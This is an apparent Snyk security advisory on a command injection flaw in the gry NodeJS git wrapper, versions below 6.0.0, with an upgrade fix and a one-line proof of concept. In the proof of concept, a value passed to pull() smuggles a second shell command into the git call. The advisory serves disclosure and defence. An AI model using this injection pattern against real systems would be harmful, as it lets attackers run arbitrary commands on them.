Command Injection Affecting gry package, versions <6.0.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (16th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-GRY-566987
- published 17 Apr 2020
- disclosed 17 Apr 2020
- credit Mik317
Introduced: 17 Apr 2020
CVE-2020-36650 Open this link in a new tabHow to fix?
Upgrade gry
to version 6.0.0 or higher.
Overview
gry is a minimalist NodeJS wrapper for the git commands. gry
stands for the Git Repository.
Affected versions of this package are vulnerable to Command Injection in lib/index.js
and example.js
PoC
// poc.js
const Repo = require("gry");
var myRepo = new Repo(".");
myRepo.pull('test; touch HACKED; #', function(){console.log('Finished!')})
References
CVSS Scores
version 3.1